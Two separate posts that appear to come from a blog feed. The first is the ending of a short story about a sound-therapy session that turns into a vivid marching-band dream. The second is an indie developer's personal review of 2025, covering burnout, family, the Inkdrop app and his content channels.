together the refrain. I followed the man without hesitation. His words struck me with a profound heaviness. With each step in my march, I clung to a new part of the refrain. I wrapped myself in the song. Soon, the surrounding music grew. The instrument he strummed on took on an electric energy. The lights of the sky bloomed in colours of orange, yellow, and green. Then, I heard new instruments join us, with each phrase of the man’s song. I dared not look back, lest I break the spell I was so happily under. First, I heard the additions of a rhythm section. A small marching band, perhaps, with multiple cracking snares and resounding bass drums. On the next section came the woodwinds, sailing over the rhythmic punching of the drums. Then, the horns came—but instead of appearing behind me in our formative marching band, they came from all directions around the woods, announcing themselves in the gaps of the trees. More instruments and sounds appeared, and I could not catalogue them all. I was enthralled by the man, still singing, still heard, marching in front of me. I wished to walk in step with him, but I knew to do so would cause all of this to come to an end. And so I continued marching. The music grew and soon a swell of crackling noise, deep in frequency, appeared underground. It grew faster than the music had, and soon I felt the earth trembling. Now was my chance, before it all fell apart—to step beside the bandleader, to ask his song to be sung into me, that I might take it deep into my soul. The ground was rumbling. I stepped ahead, faster, out of line. The noise grew in response to my move, and with it the rumbling, now thunderous. The ground cracked. I tried to take another step, but the earth itself split open, and the ground underneath us cracked and broke apart. I fell into an abyss of swirling colour. My body turned and twisted, hopeful to catch a glimpse of the man, his instrument, his voice. When I was able to look up as I fell, I saw that they were all still there, marching farther and farther above me. I could still hear the music, but it was fading out of earshot, and now only the noise remained, swelling, swelling, swelling… I sat bolt-upright. Liz looked at me in alarm. In her hands, the claves, having just been struck, drifted slowly apart from each other like two lovers who had just said goodbye. "Are you okay?" she asked. I looked at her, confused. I didn’t know where I was. I felt a lingering sensation of falling, and steadied myself with my arms on the table. The table—a massage table. I looked around the room at the speakers, the instruments, and finally at Liz. "I’m fine. I think I fell asleep. I had a dream." Liz’s eyes widened, and an energetic glow seemed to light her face. "Tell me about it." I shook my head involuntarily. I couldn’t say no out loud. All I could do was shake my head, prop myself further up, and swing my legs over the table to dangle a few inches above the floor. "That’s all for me for today," was all I could say. Liz looked at me questioningly, but said nothing. I felt awkward as she tidied up the instruments and tools she had gotten out while I lay asleep, and tucked them out of the way, clearing a path for us out of the room. I got up and marched after her, out into the front of the store. There I returned to the walls bathed in blue light, and I felt refreshed by them. Liz took up her spot behind the counter, as I had seen her when I first came in. She punched in the cost of the treatment and then told me my fee. I looked at her and then down at the register. Next to the payment terminal were some CDs. They were in handmade cases, shrink-wrapped. I picked one up. It had Liz’s name on it. "I’ll buy one of these, too." I stepped out of the store into a cold, cloudy afternoon. I got into my car, passing the café I had been sitting in not long ago. And yet, it felt like days, or even months had passed since then. What had happened in my sound-fuelled dream? I started the car. I pulled the shrink-wrap off the CD and tossed the garbage absentmindedly to the passenger-side floor before feeding the CD into the slot. I put the car in drive, and left for home. Over the sound of the engine and the rural road around me, grew the sound of a washing white noise, swelling, swelling, swelling.

0 views
Takuya Matsuyama 1 months ago

My 2025 indie dev journey review

Hi, it’s Takuya . Happy new year! It’s already mid-January, but I want to look back at my activities in 2025. If I had to sum up last year in one word, it was the year I got the full "unlucky year ( Yakudoshi / 厄年 )" experience. In Japan, Yakudoshi is the age where, traditionally, you are more likely to face health issues or bad luck. At 42, I truly realized that I can no longer rely on youthful energy alone. (Btw, do you have such a year in your culture?) Around the time spring arrived and the pollen started flying, I experienced a severe burnout. It hit me so hard that I was essentially down for three months —literally lying on the floor, unable to move or live a normal life. This burnout manifested as a massive flare-up of my chronic atopic dermatitis. The severity was right back to where I was during my steroid withdrawal in 2019 . Having successfully overcome that hell once, I genuinely thought I’d never have to face it again. I never expected to be back in the thick of it seven years later. Unlike my single days, I now have a wife and children. Being completely sidelined meant I caused a lot of trouble for my family. Looking back, I have almost no memories of spending the summer with my kid, which is so sad :( My QoL has mostly recovered now, fortunately. I tried restricting foods and other various methods — but it turns out walking was the most effective medicine for me. Since then, I’ve been walking 10,000 steps every day as much as possible. I’m glad I managed to recover in time for the birth of our second daughter. I’m a bit nervous when spring comes again this year. This time, if I feel the symptoms of burnout creeping in, I’m going to be proactive about resting. We've successfully released our new baby!🥰🎉 Now I'm a dad 2.0😉 pic.twitter.com/G1J9491cGk In November, our second daughter was born. Our first daughter cried a lot and was quite a handful, but this baby is surprisingly calm. It’s usually clear why she’s crying, which makes her much easier to care for. She’s so peaceful I sometimes wonder if such babies actually exist. When we lock eyes, she gives me a big smile. I finally have the mental margin to really enjoy her cuteness. However, we did experience something called "postpartum crisis" — my wife suddenly got super mad and blamed me. The reality is that taking care of a newborn 24/7 without a break would make anyone feel like exploding. Fortunately, she realized she was going through it and told me about it the next morning. Next up is about my app, Inkdrop . While my body was struggling, the project also had a year of quiet endurance. In 2025, I focused on developing v6 rather than marketing. I've already shipped the first Canary build of v6 to allow users to test it. Also, I’ve finally cleared most of the massive technical debt inherited from the Atom Editor era. This is starting to speed up new feature development. I’ve completed about 70% of the features on the roadmap , though I’ve also taken some detours to add things I personally wanted. For example, it now supports pasting GitHub code snippets directly from links . Revenue has decreased compared to 2024 because new customer growth has slowed. Since I didn't have big announcements last year, I’ll focus on officially releasing v6 this year to reach new users. The Discord community is stabilizing. Having regular, casual interactions with familiar faces is refreshing for me, as I’ve always worked alone. It’s slowly becoming the place I envisioned: "a community that motivates you just by being there." I only posted one short video late last year. I felt the audience there didn't quite match Inkdrop's target, so I held back. Also, the pressure to meet expectations made it less fun. For example, just tweeting about my Neovim config got nearly 700 likes . That level of attention made me feel like pulling away — probably Imposter Syndrome. I now understand why popular channels can suddenly stop updating. This year, if I post to this channel, the content will be purely for my own satisfaction. I won't worry about algorithm, numbers, or traffic to my product. I want to work without caring about others' evaluations. I believe that there would be a new possibility beyond that. I updated my second channel more actively. On this channel, I focus on giving talks about coding and solo dev rather than showing off techniques silently. I also use this channel to practice speaking English. As you can see in the chart above, the channel had been growing well until my burnout. I plan to keep posting here consistently. The theme is sharing the "ups and downs" of my indie development journey transparently. It’s an experiment to see what happens when I release v6 after building momentum with fans. Honestly, it’s a miracle people watch me even with my broken English. Some folks say it's because it’s rare to see Japanese developers share their stories and thoughts in English. I agree. I wrote about my burnout on this blog . The number of subscribers is significantly small compared to my YouTube channels. However, the engagement here is different from YouTube — My blog doesn't depend on any platforms. People come to read actively, instead of passively playing a video via a feed. I love blogging because I can focus on the content without worrying about video production, such as compositions, audio quality, and speaking English. My only issue is the cost of Ghost (the hosting service), which costs $480/year at the moment. I might move to a custom static site eventually. I sell photo packs of pictures I take as a hobby. They sell surprisingly much better than I expected. I’ve realized that taking photos with the intent to sell changes your perspective. I set a theme and then go out to find and capture beautiful shots that fit that vision. It’s a great exercise to sharpen your senses. Kyoto is an easy theme to understand, and it sells particularly well. I’d like to go out and shoot again once I have more time. 2025 was a battle against falling revenue, technical debt, low motivation for YouTube, and health issues. But looking back, it was a good chance to rethink how I work and regain a long-term view. It was a year for realigning my health, my product, and my content. Inkdrop is entering its 10th year. Keeping a service alive that long in tech is such a miracle. People often ask, "What's next?" when meeting in person, which can be kind of frustrating, but I’m fully committed to Inkdrop in 2026. Whether you are just starting out or you’ve been at it for years, the moment you worry about your reputation, you lose your freedom and can't move as you want. As your audience grows, people will give you opinions, suggestions, criticisms, and questions. The key is that you can still ignore them and genuinely follow your instinct. Don't be afraid of being yourself. You started from zero in the first place. I'm too serious by nature, so I need to aim for a "just ignore everyone" attitude. I tend to overwork, so muttering "I don't feel like doing anything" every day would actually help adjust the balance. So, here is my goal for 2026: "Do what I want, regardless of others." Subscribers: 208k → 212k Subscribers: 14k → 19k Subscribers: 2.1k → 2.4k Wallpaper packs for developers

0 views